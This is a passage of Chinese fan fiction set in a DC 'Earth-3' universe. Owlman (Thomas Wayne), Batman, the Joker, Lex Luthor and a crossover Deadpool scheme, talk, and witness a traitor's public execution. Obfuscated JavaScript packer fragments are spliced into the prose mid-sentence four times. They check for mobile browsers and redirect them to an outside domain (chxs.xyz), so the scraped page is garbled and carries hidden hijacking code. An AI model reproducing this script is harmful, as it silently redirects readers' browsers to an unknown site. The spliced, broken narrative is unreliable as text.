l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064594|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不知你是否了解,正义联盟有位超级英雄代号是沙赞。” 这我略有耳闻,因为不算关注重点,也就只听说过名字:“那么卢瑟的能力和他近似?你们宇宙的莱克斯·卢瑟是个超级英雄?” “Ummm……” 看来不是。 布鲁斯继续:“沙赞的真实身份不是卢瑟。他在孩童时期因纯洁的灵魂受到老巫师承认,被选为人类道德的捍卫者。” 简短两句话含着丰富的信息量,他眼神复杂地用表情暗示我讲讲卢瑟是怎么获得超能力的。 纯洁的灵魂?人类道德的捍卫者?甚么东西? 我也瞳孔地震了,并且心中怀有和超霸相同的疑问:那老家伙怎么不去找氪星人呢? 蝙蝠侠说沙赞的实力几乎与超人不相上下,同理可证卢瑟带来的麻烦绝不会比氪星人少。我一想到自己又多一个难缠对手的可能性就心生烦躁,俗话说多一事不如少一事,给长了脑子的卢瑟强大的力量,还不如让卡尔点上魔法技能。 反正选中卢瑟不可能是因为他具备什么高尚的道德品质。 这话题就在我们各怀心思心不在焉的交谈里被略过去。七点半理查德打着哈欠下楼吃早饭,他见到我时怔了怔,打到一半的哈欠变成了个沉闷的喷嚏。年轻人揉着鼻子问我:“早上好托马斯,你是才回来吗?” 这几天我们相处又回到了正常状态,我很自然地回答道:“回来有一会。你今天可以出门,体育场附近已经‘清理’干净了。” 他的视线在我斗篷的下摆逗留片刻。 我顺着他注视的位置低头,迟缓地意识到自己能够作为武器使用的披风下摆有一处淤积着宛如硬甲般的血污,仔细观察还能看见上面人体组织的碎末。然而我刚才完全不记得这件事,或者正如旁人所说,我等着‘塔楼底下的尸体堆来给我垫脚’呢,哪知道抽出来刀和哪个前仆后继赶来送死的人见过面? 然后我反应过来我连盔甲都没脱,身上应该带着不轻的铁锈味,所以理查德进门的时候才打了个喷嚏。 但布鲁斯什么都没说。 我坐在客厅中,灵魂的某一部分却还游荡在夜色笼罩下安静无声的城市里,不管是咖啡、烤好的吐司、热牛奶、洒着胡椒粉的鸡蛋,在我的嗅觉中都是同种气味,蝙蝠侠好像也没察觉。 直到理查德让我意识到我的疏漏他才抬头,之前平和的双眼投射出冷静又锋锐的目光,像在评估也像在审视:你仍然知道自己在做什么,是吗? 我为这双过于深沉的蓝眼睛在椅子上僵住几秒钟。 而后我同他对视,缓慢地点了点头。 一天之后莱克斯·卢瑟成为辛迪加正式成员。 又过了一天,我们在会议上敲定以量子本态炸弹威胁各国政府放弃统治的计划细节,并且开始按照合情合理挑不出疏漏的步骤逐步实施。炸弹是我研究的,它的所在位置和发射密码只掌握在我一人手中,因此我注定是实行过程中的主要负责人之一。 我仍然不想让蝙蝠侠或者正义联盟有参与进来的可能性。但我没法在这种时候拖延,首先和我之前的态度相差太明显了,其次现在还多出来莱克斯·卢瑟这个巨大的麻烦。 我得想办法让蝙蝠侠在明知道辛迪加行动目标的情况下,仍愿意主动回去主宇宙。 24. 暗中交易 有卢瑟参与的辛迪加会议准没好事,这个标准我原来一般是形容小丑的,现在他们俩可以对半分。 我最近一直在怀疑卢瑟和小丑暗中有过合作交流。 这不是因为这两个人现在在我眼中难分上下的讨人嫌……至少不完全是。我经过认真仔细的分析,觉得卢瑟确实对我手里握着的量子本态炸弹感兴趣。他从来不是个纯粹的科研学者,对没有利益的慈善事业或者研究项目无动于衷。与此同时,卢瑟也没有收藏癖和征服欲,他在和我一起钻研平行宇宙相关理论时,并未展现出想要掠夺其他地球做殖民的倾向。 这让我好奇他的动机。 卡尔有次偶然间向我提起卢瑟的研究室里曾经有一只小丑玩偶,我立刻想起哈莉三十五还是三十六号,总之是个丑东西。 “哈莉”系列未必是小丑手中最强大的武器,但一定是最受他偏爱的。除非卢瑟闲着没事从亚马逊上邮购了一只高仿手办周边做纪念品,不然我想不出除了小丑亲手交给他,还有什么办法能让哈莉出现在卢瑟的桌子上。 于是背后事情的发展脉络很说不定是这样的:小丑与卢瑟暗中合作→我意外去往平行宇宙→小丑策划安全屋事件的同时,卢瑟白捡超能力并申请加入辛迪加(我开始怀疑是不是他把前任巫师做掉这个头衔和力量就归他了)→我回来带着一只蝙蝠→小丑的阴谋巧合之下提早暴露→卢瑟加入辛迪加→辛迪加施展全球范围的恐怖袭击计划→卢瑟不明原因、且很可能是受到小丑干涉,对由我管理的炸弹表现出意料之外的关注度。 我不由得想到,安全屋的埋伏也许本该是长线作战。 小丑不管是为了自我生存、还是为了哥谭市暂时的和谐稳定,都不应该在这种时候弄出来很难具有明确成果的袭击行动。我以为他作为一个智商正常偏上、仅是装疯卖傻的正面角色,应该已经与我达成心照不宣的和平协议,安全屋则是他为防止未来危机的某种后手。 他将我那有幸把命留到今天的叛徒交还给我时,我们短暂地见过一面。 我这两天下手清理不少人,可这不是我的问题。我之前说过自从我身居高位就很少亲自动手了,近些年最大运动量还是对战蝙蝠侠……谁让小丑撬了我最好用的墙角呢,我只好重温一遍当年刚披上戏服出道时兢兢业业努力干活的时光,因此小丑见到我的时候表情不大好看。 他把那件还在蠕动的生物扔到我前面,但我们两个关注点都不在叛徒身上。他抬起手摩挲着西装口袋上的白色胸花,半晌才说道:“你没有叫你的人过来,也没有马上动手,看来是想要谈谈?” 我问道:“你给了卢瑟什么好处?” 小丑咧开嘴笑起来:“真有趣,我就知道你能猜到,你了解我就像我了解你一样。那你也应该知道,莱克斯是不会被小恩小惠打动的,不如想想你做什么引起他的注意了?” 我没理会他推卸责任的说辞:“是你让他看到的线索。怎么?难道你的好言相劝真的唤起了莱克斯仅剩那点未泯的救世之心?” 小丑涂满油彩的脸颊侧肌肉忽然狠狠地抽动了一下,翠绿的瞳孔缩成一个细小的点。 ** 一个星期前。 “亲爱的亚历山大: 见信如晤。 大都会的生活还算美妙吗?超霸不在老家的时候那就是你的地盘了,但是你我都知道快乐的日子是不会长久的。夜枭失踪了。托我可爱的哈莉的福,现在你接收到了来自平行宇宙的信号,只有一小部分,不过凭借你毛发旺盛的脑袋瓜多少能想象到那是个怎样和平又无聊的世界。 你觉得小托马斯·韦恩会想要留在那,那我只能说,你对他的认知还停留在比指甲盖厚不了多少的阶段。我能想象出你们都是怎么看待夜枭的。亿万富翁,嗯哼;野心家,哈;战术大师,确实如此;除此之外还有一些片面但不得不说有其道理的评价,虚伪诡诈精明狡猾……但绝不是弱小,莱克斯。不管你觉得他会为什么留在平行宇宙,我和你打赌,他会回来。 我想是我之前和你讲过一些我对夜枭的推测,很让人觉得他是个还不错的人。我哪怕现在仍然认为,他比你我更有坚持,这是哥谭之所以成为现在的哥谭——夜枭之所以成为夜枭的原因之一。 众所周知,我曾经掉进过ACE化工厂那台现在已经废弃的绿色池子,那是个参观景点,强烈推荐你去身临其境地体验一下。如果换个人站在我的位置早就去见撒旦了,而我觉得没什么大不了的,或者我在乎的其实是别的东西——诸如我刚洗好的内裤明天还能不能穿——之类,所以我还能端正地坐在这给你写信。 夜枭完全是另一个类型。 长了两个脑袋的狗也未必能搞清楚长在同一个肩膀上的邻居在想什么,我说的当然未必准确,您可以自己选择信或者不信。当然啦,夜枭回来之后你就能验证我的一部分说法,你会发现也许另一个平行宇宙真的有他想要的东西,但是同样掉进化工池子里面,我只会担心我的裤衩颜色,有的人呢?他不可避免被染上一些颜色,于是就再也不肯把脚趾迈进旁边没有颜色、寡淡无味的清水池子啦。 事情的发展再糟糕一点,也有那么一部分可能,他会选择让两个本质上没有区别、一样用来储存废水的池子一起炸掉。 Boom~ 你明白我的意思,辛迪加有一项全新的计划正在筹备中,最重要的密码就在夜枭手上。仔细想想,亲爱的莱克斯,然后告诉我你的决定。 诚挚向您问候, 小丑” 给莱克斯·卢瑟发出这封邮件时,小丑的确是在向对方暗示‘夜枭有利用量子本态炸弹毁灭世界的可能性’。 但他也真的觉得走入该支线的概率不大,夜枭是有点疯,可是疯的很理智,比小丑本人看上去还理智,一个能计较得失的人八成不会做出损人损己的决定。 不管怎么说能说服卢瑟加入辛迪加,还可以与他保持长期稳定的联系,只在情报方面就很有好处,小丑觉得不干白不干,同样不干白不干的后手还有林肯路12号的安全屋。 理想情况,只要安全屋陷阱不被发现,那么夜枭下属短暂的动摇也不会被发现。 一切都像没有发生过似的,和平还能继续维持很长一段时间。 事实证明人类的本质是赌狗,好比拉斯维加斯、玩抽卡游戏、阿卡姆聚众打牌、以及小丑。 只能说夜枭带着蝙蝠从天而降的巧合打败的不只有托马斯·韦恩。 在安全屋碰见理查德时小丑内心是崩溃的。 他第一想法是:完蛋,不能让夜枭过来。 地下室里放着他‘小作准备’时用到的稻草人毒气。 这玩意本应该用不到。 ——本应该。 如果夜枭亲自出手,为顺利脱身小丑只能启用毒气。有万分之一的概率,毒气会影响夜枭的心理和精神健康……小丑并不是忽然有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064595|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了担任韦恩家远程医生的想法。他只是认识到,夜枭毁灭世界并非毫无可能。你看,一只猫头鹰非要挤进兀鹫成群的队伍里,它又不是食腐动物,还能怎么办呢? 那时小丑看着守在公寓花园里的蝙蝠侠,前所未有地认知到什么是所谓的‘正常’,这比毫无根据的猜想、模糊不清的影像等远程数据都要直观许多。 有那么一会他问自己,也许人们说得对,我是疯了吗? 于是紧接着,他看到从高处跳下来的夜枭,第一感受便只剩下恐惧。 后续事件发展完全遵守墨菲定律,就连小丑也不可避免地陷入到祥林嫂的循环里。他在躲避通缉令时和背叛夜枭的倒霉蛋一起挤在某些阴雨连绵时疯狂漏水的破木板下、或者臭气熏天的下水道中,数次产生‘事情怎么会变成这样’以及‘真的值得吗’的疑问。卢瑟加入辛迪加在这种情况下反倒变成最重要的筹码了,至少能在夜枭真的策划什么不可挽回的事情前做出弥补。 这是你的错。 被夜枭杀死的人的血顺着窨井盖的缝隙落在小丑额头上时,市民嬉笑着讨论这次哥谭塔楼下‘地毯’能铺多厚时,谜语人把安全屋的录音作为谜题谜底送到小丑手边时,有个声音在他耳边轻声重复。 这是‘我们’的错。 活在这颗地球上的人,没有任何一者清白无辜。 ** 时间回到小丑将叛徒交给夜枭并且见面的那一刻。 他完全没回答夜枭的问题,只是感觉熟悉的战栗再次袭击自己的脊背。小丑花了点功夫捋顺自己的舌头、让它老老实实工作,而不是突然大笑或者放生尖叫。他摇摇头:“没什么。我得走了,尊敬的猫头鹰先生,你应该不打算立刻逮捕我吧?我就假设你有,那么老规矩,A、B、C、D,地图上四个点,你更喜欢那个位置?” 夜枭对他的垃圾玩笑兼威胁无动于衷。 小丑时刻关注对方的神色。说来很怪,但他这两天真的有过忧心忡忡地寄希望于蝙蝠侠和利爪的时候——他感觉到这两个人对夜枭而言都相对特殊,说不定能产生什么积极的化学反应? 然而并没有什么卵用。 薛定谔的灭世行动仍在进行中。 甚至,小丑觉得夜枭比之前看上去还要……麻木一点,是稻草人毒气带来的生理上副作用。按理说,毒气本应展现出小托马斯最渴求的人或事物、令他沉迷其中,它确实是致幻剂,后遗症却不会这么强。 幸运的是夜枭当日并不打算花费代价抓住早有准备才露头的小丑。 小丑用邮件说服卢瑟加入辛迪加;卢瑟的到来让超霸决定加快扩张速度;夜枭因此想要让蝙蝠侠尽快回到主宇宙;卢瑟与小丑结成的同盟则准备找机会联系上蝙蝠侠,不管他面具底下真实身份究竟是谁,都有可能成为阻止辛迪加、或阻止夜枭的助力之一。 最终结果是,在小托马斯·韦恩暂且不知道的地方,卢瑟决定再次启动平行宇宙传送装置,找到主宇宙的正义联盟寻求‘帮助’,将一次偶然的拜访彻底变成外交事件。 而夜枭想出令自己兄弟回去的借口之前,他们率先找到了让蝙蝠侠留下来的理由。 但对于托马斯·韦恩来说,还有一事不巧。 ——布鲁斯找到他时正是正午时分,哥谭难得烈日高悬,广场上悄无声息,蹲伏在四处的摄像机仿佛沉默的鸟。 夜枭正对从小丑手里带回来的背叛者进行公开审判。 25. 综英美if线番外 注:本章存在部分粗口、过分吐槽和烂梗,不喜欢可以不看,作话有注释,是假设主宇宙是综英美的if线。 前情提要:夜枭意外从地球三掉到主宇宙,遇到蝙蝠侠之后两人打了一架,这次他由于某个出乎预料的、片场之外的角色的插手得以顺利跑路。 “Fuck,fuck!认真的吗?这次我能出场了?哥还没做好准备!这段剧情可以不描写吗?!” 身着红黑相间颜色制服、手持双刀的男人在哥谭市屋顶上狂奔,面罩尽可能尝试挡住他脸上飚出来的鼻血,然而哥谭今天的风甚是喧嚣,仍然有那么几滴红色液体在惯性的作用下飘飘洒洒,同身后的黑披风一号与黑披风二号擦肩而过。 “那句话怎么说的来着?梦幻联动!”死侍捂着鼻子大声对夜枭说,“你和我,漫威和DC,想不到吧这也可以是本综英美同人,而老子今天出场是因为作者他妈的只想摸鱼!*” 最后他们成功地甩下蝙蝠侠,躲在死侍的某个安全屋里。 “操蝙蝠车的引擎管。”漫威片场著名雇佣兵骂骂咧咧地甩着逃跑途中被摔断、才刚长好的胳膊,“不,我不应该这么说,操引擎管的人应该是你,猫脸怪鸟。你知道吗,在哥谭市的垃圾桶里碰见蝙蝠侠是特等奖,碰见你这种平行宇宙的反派就他妈是灵异事件——你对哥谭甜心宝贝做了什么才让他对你穷追不舍?” 夜枭:“……” 他面具超级牢固,看不出什么表情波动。 死侍等了一等,然而他们中间只有寂静的空气。夜枭站在那仿佛跑错片场的dc宣传蜡像,圆形护目镜倒映出周围满地狼藉,让人生出想上去踹一脚并说‘我恨你像块木头’的冲动。 死侍:“Hello?我听说有些鸟类可以站着睡觉,你还醒着吗夜枭?” “……”沉默。 “Okay。”死侍做双手投降状,“我知道你们dc喜欢这种苦大仇深的feel。但人类需要交流,交流懂吗,我猜你现在内心吐槽就应该像乐高蝙蝠侠的旁白一样多,可是我们现在是上帝视角,又不像超人与蝙蝠侠、你和超霸——呃,超女王?对不起,贵圈太乱——那样可以灵魂相通。” 夜枭静默片刻,谨慎开口道:“我可能穿越的姿势不对。” “有时候确实会有这样的困扰。”死侍走过来自来熟地大力拍他的肩膀,然后撅着屁股从橱柜里翻咖啡机,“我每天从床上起来都觉得这个世界变得比昨天更操蛋了,但是怎么说,相比地球三,我承认这里就像天堂一样。见鬼,谁想穿成夜枭呢?老兄,你的投胎技术无人能敌。” “所以DC真的有夜枭这个角色?”这句话在现在的场合说出来稍显诡异,托马斯飞快略过去了。他走到沙发旁边打量布艺沙发垫,余光见到死侍娴熟地哼着歌扭着腰把咖啡机拿到水龙头下面冲洗,显得十分居家,“我刚才的意思是,在我记忆里,你是复仇者联盟中的角色。” 死侍:“……” 他说:“不,亲,非要说我也是隔壁X战警里的,虽然我只当了不到半天X战警——替补。” 夜枭抬起手简单比划了一下:“所以电影里那个红黑相间的……” “我猜你一定知道我不是蜘蛛侠对吧!蜘蛛侠不可能是这种画风,好比你不可能是蝙蝠侠一样!行了猫头鹰,别再用你可怜的漫画储备量猜测我的身份了。自我介绍下我是死侍,雇佣兵,不是超级英雄,这才见到蝙蝠就跑。就算你没看过我的个人电影,至少也该听说过名字。” 死侍粗暴地把一杯咖啡推到夜枭面前:“如果你不想摘面罩也不用特意和我解释,DC,我懂。” 夜枭:“……我好像看过你的个人电影。” 死侍瞪着他。 “你没有。” “我有。” “时间真是把杀猪刀。”死侍喃喃道,“有多少看电影的人连瑞安·雷诺兹都不认得呢?不过反正我不是他,也没演过绿灯侠*。” 他拖过来把椅子在夜枭对面坐下来,喝一口热腾腾的咖啡,发出舒适的叹息声瘫在椅背上。 “看在我难得出场一次的份上。”死侍翘着腿问,“你遇到了什么麻烦?” 夜枭用简单的肢体语言适时表达他的疑惑。 “别装傻,你亲爱的小弟弟追在你的屁股后面想要度过紧张刺激的一晚,但他还不知道你是谁,对吧?” “……”夜枭沉下脸。 “伙计。”死侍用推心置腹的语气说,“人要向前看,你只是失去了一个蝙蝠侠,你知道平行宇宙里面有多少个蝙蝠侠么?从这个角度说,你就和小巷子里没有死掉的韦恩夫妇一样牛逼!听说过那个烂梗吗,‘什么东西进小巷时六条腿出来之后两条腿?’……噢,对不起我忘记你们家里有四个人,这支笑话不适用。” “再顺便如果有人觉得冒犯我很抱歉,真的,这只是个特别烂的玩笑。以防万一,我特别尊敬蝙蝠侠,不过谁他妈是布鲁斯·韦恩?*” “……” 这次不用肢体语言也能看出夜枭的无语。 片刻后,他摘下夜枭头盔笑了笑,在死侍惊讶的眼神中举起咖啡品尝,并评价道:“味道挺好的。” “您要求真低,我喜欢,少爷。” 托马斯·韦恩收敛表情说回刚才的话题:“我只是需要时间适应。” “我最爱的姑娘离开时我也这么想,后来她对我说会在天堂等我。” 托马斯:“没有人会在那种地方等我。” “你可太消极了——” “我指适应这个有X战警的宇宙。” 死侍喝咖啡呛住,猛地咳嗽起来:“咳咳咳!说的也是,穿成漫画角色很不容易吧,老兄。” “还可以。”夜枭平淡道,“我没看过漫画,对我而言那是个真实的世界。” “因为显然作者懒得想你知道剧情的发展,托马斯……我能叫你托马斯吗?而且读者都好这口。”这次死侍啜饮咖啡的动作谨慎了很多,小口小口像个教养良好的古代英国贵妇,“假如让我给穿越分个等级,反转宇宙一定是地狱难度,早死早超生。美漫普遍都不怎么样,比方说我就不建议你为了实力投胎成变种人,但普通人也没什么意思,是吧?” “我没有超能力。” “你有钞能力,你们韦恩家都有,闭嘴,否则成为蝙蝠崽的同人小说怎么能绕地球一圈?我相当鄙视拜金主义,真的,不过诚实地说我也脑补过,要知道我向人自我介绍说‘IamBatman’的时候感觉不是一般的爽。” 夜枭怀疑这才是他见到蝙蝠侠就开始跑路的原因。 正联顾问风评被害。 “韦恩家有钱。”托马斯举着咖啡杯靠在沙发上和死侍碰杯,“但韦恩家甚至能衍生出烂梗。” “……” 死侍万万没想到夜枭能自己讲自己家的没品笑话,呛咳两声抽了抽嘴角开始比惨大会:“你提到小巷,那我从哪说起,从我在隔壁片场能随便登场的兄弟丧钟,还是我碎的像被压路机捻过的饼干渣一样的家庭,或者起起落落落落落落的人生?我打赌编剧或作者想要我们任何一位拿到he结局都得费劲脑细胞。” 托马斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064596|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回举杯的手:“……抱歉?” “别道歉。”死侍凑上去跟他敲杯沿,“我就想知道你和蝙蝠侠什么时候能把你们的内心吐槽说出来。学我把省略号扩充一下,夜行生物。” 夜枭假装没听见,心不在焉地顺着他刚才的话题问:“所以比起变种人和普通人,穿越成超级英雄怎么样?” 死侍露出嫌恶的表情:“那种大胸肌的美国壮汉吗,超人挺好的,氪星人简直和开挂一样。如果你不介意变性,神奇女侠也不错。其他超英或多或少都有些悲惨过去,美国队长、黑寡妇、蜘蛛侠、蝙蝠侠……当然超级反派也是,现在就流行这个,比如我个人电影的编剧一定要把凡妮莎写死的时候,我他妈用巧克力棒操他的——” “停一停,停一停。”为了防止无用的骂人词库再次增加,夜枭不得不抬手阻止他,“你在给我剧透。” “看来你没看第二部,反正你也没机会回去看了。” 他们大眼瞪小眼,一时沉寂。 死侍轻轻打了自己一巴掌:“笑一下,就当我没说过?” “我确实没机会。”夜枭慢慢说,“在我的国家,死侍第二部没过审。” 这回死侍笑了起来:“你剧情不记得却记得这玩意?” “失去的永远比得到的令人印象深刻。” “真理,痛苦是绵长的,兄弟。我每次碎成五瓣把自己拼起来的时候也觉得昨天晚上蔬菜沙拉里面紫甘蓝的苦味还在嘴里经久不散。” 假如托马斯认为有必要,他可以变得善于交流,无论此时此刻心情如何:“叫我兄弟也不能使你变成韦恩家的有钱人。” 死侍没笑:“拉倒吧,算上你,巷子里的人够多了。” 他把咖啡一饮而尽,用嗑嗨了似的轻飘飘的语气说,“但是你只看过第一部电影也不错,有句台词怎么说的来着,是我才穿上这套制服、还不怎么适应生活变化时候的讲的。”他摸摸下巴,缓声道,“‘在戴上这个面具之前我没有多少可靠的记忆,我的一切都被夺走了*’。” 他对夜枭挤挤眼睛,后者收回开玩笑时轻松的表情,凝神看向他。 “然后我发现我错了,生活就是屎里淘金,当你绝望地以为自己掉到粪坑里绝无希望的时候,又会发现手边的大粪夹杂着一点金光闪闪的、黏黏糊糊的、不知道是不是从窃贼宝库里掉出来的贵重金属……” 托马斯略感头痛:“停一停。” “Youcanfightthis.” 死侍说, “我再说一遍反转宇宙就他妈烂透了。但是不管DC还是漫威,不管电影还是漫画,都还算有些值得看的部分。包括你弟弟,财富密码蝙蝠侠,我爱他,谁能不爱蝙蝠侠呢?你已经近水楼台先得月了,兄弟,喝一杯百利甜,再去深情款款地对他说‘我爱你’,这简直就是促进兄弟感情的天赐良机,无数人羡慕都羡慕不来,隔壁海王馋哭……” “停一停,我忍不住想拔枪了。” “真的吗?”死侍把夜枭伸到腰间的手推了回去,飞快转移对方注意,“如果你对正联没兴趣,不如考虑下复联?” 夜枭果然愣住:“什么?” “复仇者联盟,就是有蜘蛛侠的那个地方,你没听错猫头鹰先生。”死侍顺势弯腰做了个邀请的手势:“你肯定还要问什么是综英美,简而言之,就是让作者费劲脑细胞融合设定最后瞎几把乱写的一种神奇世界观,欢迎来到既有复联又有正联还理所当然地有X战警的宇宙!如果你想去纽约给复联递简历,TADA~看看这是什么,我手里正好有个任务!” 26. 一枪 人偶哈莉成为小丑观测平行宇宙的眼线这件事并不出人意料,亚历山大·卢瑟发挥主观能动性突然跑到主宇宙联系正义联盟、就是彻头彻尾的戏剧性发展了。小丑想不到,夜枭得知的信息量有限,辛迪加更不了解自己组织的新成员,唯有一人有机会窥见事件整体发展的全貌。 ——蝙蝠侠。 事实就是反转宇宙的小丑能想到利用掉到主宇宙的机械助手,早已和平行宇宙接触过的正义联盟绝不可能毫无准备。 通过这样那样的黑科技,正联大体上知道他们中某位财富密码掉到了地球三,蝙蝠侠也知道他们知道,所以各方相关人士才能按兵不动维持和平……而他们真正互相联系上全靠卢瑟的倾情付出。 卢瑟先生作为一个发量浓密的高智商人士,对各种逻辑推断有着属于自己的牢固认知。通俗地讲,自负的聪明人更容易陷入到某些怪圈里,因为他们对自己的判断深信不疑。 现在让卢瑟深信不疑的定律之一是地球三迟早要完。 好像没什么毛病。 定律之二是让这个宇宙完蛋的罪魁祸首有一半可能是夜枭。 好像也没什么毛病。 这就让他到主世界的求助之旅变得异常顺畅,让整个正义联盟乃至于蝙蝠群英会都以为事情真的严重到难以解决的地步,让大家为了爱与世界和平等各种理由开始火急火燎地提供科技援助大开绿灯,让终于联系上蝙蝠侠之后的蝙蝠侠本人异常茫然。 卢瑟不知道联盟顾问丢了,心想这就是主世界吗,果然乐于助人。如果他现在邀请辛迪加来这里捞一波就跑的话……算了,还是夜枭威胁度更大。 而正联在卢瑟的帮助下定位到布鲁斯时,他正在韦恩家的厨房里试图给自己弄出一顿差强人意的午餐。 ——会做饭的人,永远不能理解为什么一个智商达标的人类无法按照现有步骤做出无法入口的食物。这很没道理,布鲁斯不会做饭,他仍然觉得很没道理。但总而言之,在他第不知道多少次根据被无数前人验证过的菜谱,得到看都不能看、或者勉强能看但不能吃的结局时,都觉得自己很无辜,仿佛被针对了。 主宇宙罗宾看到他开火的那一刻大惊失色,很难说是因为布鲁斯所在的厨房格外眼熟、还是这间眼熟的厨房即将与所有人说再见。 他们首先在友好洽商中关掉烤箱电源,然后才开始谈论正事。 于是布鲁斯得以知道小丑卢瑟合作、卢瑟向正联求助、卢瑟推测的和夜枭有关的计划、以及夜枭本人的动向。 突然被喂了一嘴剧透的蝙蝠侠靠着橱柜陷入沉思。 但首先,他并不和小丑与卢瑟一样,觉得夜枭有毁灭世界的打算。 要知道再聪明卓越的人,思想也难免受到社会、时代、科技等多方面的约束,在平行宇宙存在的当下,整个世界恰恰是一个巨大的信息茧房,人们所思所想扎根于培育他们的土壤,在接触之前很难想象超脱于现实的事物。小丑和卢瑟的问题在于,他们最基本的思维方式与布鲁斯完全不同,至于夜枭则很大可能介于这二者之间。 那么,只要小托马斯没有变成完全依靠情绪驱动、毫无理智的疯子,他就不太可能真的去发射炮弹炸毁地球。 其次,布鲁斯觉得在内因与外因的多重因素影响下,小托马斯的心理状况确实值得关注。 最后如果考虑到任何微小的可能性,就又回到了第一点——谁来保证夜枭永远不受控制神志清醒?甚至如果事情真的发生了,小托马斯身边的人都不会去阻拦他。利爪愿意为他去死,局外人会说:“那又怎么样呢?” 蝙蝠侠愿意对着蝙蝠洞里硬币雕塑、恐龙模型和阿尔弗雷德的午餐托盘发誓,若是夜枭是任何一个同超霸或者超女王无区别的人,那他对捋顺反转宇宙这团毛线球毫无兴趣,两个世界之间本来没有交集,正义联盟在最高等级的危机之外无需横加干涉。 黑格尔说存在即合理。 但假若上帝真的存在,祂打造出这么个一团乱麻屁事贼多的宇宙一定有什么大病。 当下的情况只好走一步看一步,蝙蝠侠让正联暂时按兵不动,也不要完全信任卢瑟,由他先找到加班不回家的夜枭再说。 ** 哥谭作为美国东海岸的港口城市,月份越偏近年末天气就越潮湿,秋冬交替时正午还比较温暖,雨后港口附近的空气常年弥漫着晒干的海藻的味道。这里是罗宾斯镇附近的一个中型度假区,现在已经被临时封锁了,无关人员被拦在园区之外,仍有不少爱好诡异的乐子人逗留在门前探头探脑想凑热闹,往南则是鲍勃·凯恩海峡和对面的亚当斯口岸。 话虽如此,布鲁斯对以上地名的描述全部属于另一个哥谭,他不确定反转宇宙是否会在这些细节上保持一致,但不管怎么说,深红海角——他记忆中这个往东南角突出的口岸的名字——现在已经名副其实地变成了杀戮之港。 小托马斯·韦恩不是个喜欢出风头的人。他极少在公共场合露面,布鲁斯觉得这是有道理的,孤僻往往和人的境遇相关。媒体向来对哥谭统治者的新闻讳莫如深,这次主人公主动表示允许报道,不禁让人们像嗅着血腥味的鲨鱼一般闻讯而来,现场虽然安静,却透出种异样的狂热,仿佛有听不见的窃窃私语在这些人的动作与眼神间传递。 这让广场给人以令人不适的嘈杂感,唯一真正的清净之处恰恰是夜枭的所在地。他看上去一如既往地平静,并不像受到致幻剂后遗症困扰的样子,而布鲁斯仍然难以忘记他嗅觉方面的失常。夜枭身后是几个□□成员,广场中央摆着张木头椅子,曾在林肯路有过一面之缘的背叛者被固定其上,并不挣扎,神情麻木。 过了一会,像是有种外人不能了解的默契,现场还是无人开口讲话,一个西装革履的男人走过去将受刑者从椅背上拆解下来,带到深红海角南部人工浇筑的水泥观景台上。 观景台下方是十几米高与海水毗邻的悬崖。夜枭没有靠近,只站在阴影中。这场景有点像电影情节,他身边的人喉咙耸动了一下,说道:“按照老规矩,三次。” 布鲁斯很快理解了这句话的含义——背叛者被倒吊在观景台的栏杆上,握着绳子的人调整了角度,而后松手。 人类顿时像沉闷的沙袋一样坠落下去。悬崖上有嶙峋的怪石凸起,它们在冲击力下刀子般划过血肉,留下被摩擦起泡的红色碎末融入海水。但这不是结束,他仍有活下去的可能性,因为行刑人并未松开握紧绳子的手。他们走过去,把他拉上来,再松手,按照规定,重复三次。 第一次没有叫声,第二次响起惨叫,第三次就只剩下模糊的呜咽和喘息。 不知是负责收尸还是负责治疗的人早就等在旁边了,等人最后一次被拉上来时,她蹲下一番检查过后,看向夜枭说:“他……他还没死。” 人群真正喧哗了一瞬。 几秒钟后,哥谭的统治者迈步走出阴影、走上观景台。 布鲁斯躲在人群后方,只要他不想被人发现,这些人就只有凭借运气回过头才会发现广场上多了一个人。蝙蝠侠这个技能曾经给不少同伴或敌人留下过心理阴影,不过现在他完全没有开玩笑的念头。 事实上,布鲁斯觉得自己真的像在看一场电影、或者舞台剧。他作为观众站在广场中央,理所当然地无法融入进去——就在夜枭迈步的刹那,布鲁斯看到人们脸上浮现出他无法理解的痛恨与狂热。痛恨是对着将死之人,狂热是对着行刑之人,所有人都对这场与自己无关的审判报以强烈的热情,如果不是夜枭在场,他们可能痛骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064597|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者欢呼出声。 可是夜枭在时,这些人就只好屏住呼吸,贪婪地、渴求地望着即将到来那一幕。 布鲁斯知道会发生什么。 